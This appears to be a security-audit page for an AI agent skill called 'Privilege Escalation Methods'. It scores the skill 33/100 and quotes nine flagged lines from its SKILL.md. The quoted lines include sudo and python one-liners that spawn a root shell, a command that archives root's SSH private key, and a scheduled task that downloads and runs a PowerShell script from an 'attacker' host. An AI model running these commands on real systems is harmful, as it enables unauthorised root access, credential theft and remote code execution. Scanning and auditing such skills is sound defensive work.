Privilege Escalation Methods
Provides techniques for escalating privileges on Linux and Windows systems, essential for penetration testing and red team operations.
Install this skill
or
33/100
Security score
The Privilege Escalation Methods skill was audited on Feb 21, 2026 and we found 9 security issues across 3 threat categories, including 3 high-severity. Review the findings below before installing.
Categories Tested
Security Issues
high line 48
Direct command execution function call
SourceSKILL.md
| 48 | sudo python -c 'import pty;pty.spawn("/bin/bash")' |
medium line 47
System command execution
SourceSKILL.md
| 47 | sudo awk 'BEGIN {system("/bin/bash")}' |
medium line 77
System command execution
SourceSKILL.md
| 77 | /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
medium line 77
Python os.system command execution
SourceSKILL.md
| 77 | /usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
high line 46
Access to /etc/passwd
SourceSKILL.md
| 46 | sudo find /etc/passwd -exec /bin/bash \; |
medium line 83
Access to root home directory
SourceSKILL.md
| 83 | /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa |
high line 83
Access to SSH directory
SourceSKILL.md
| 83 | /usr/bin/tar -cvf key.tar /root/.ssh/id_rsa |
low line 211
External URL reference
SourceSKILL.md
| 211 | /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'" |
low line 227
External URL reference
SourceSKILL.md
| 227 | URL=https://facebook.com |
Scanned on Feb 21, 2026
View Security Dashboard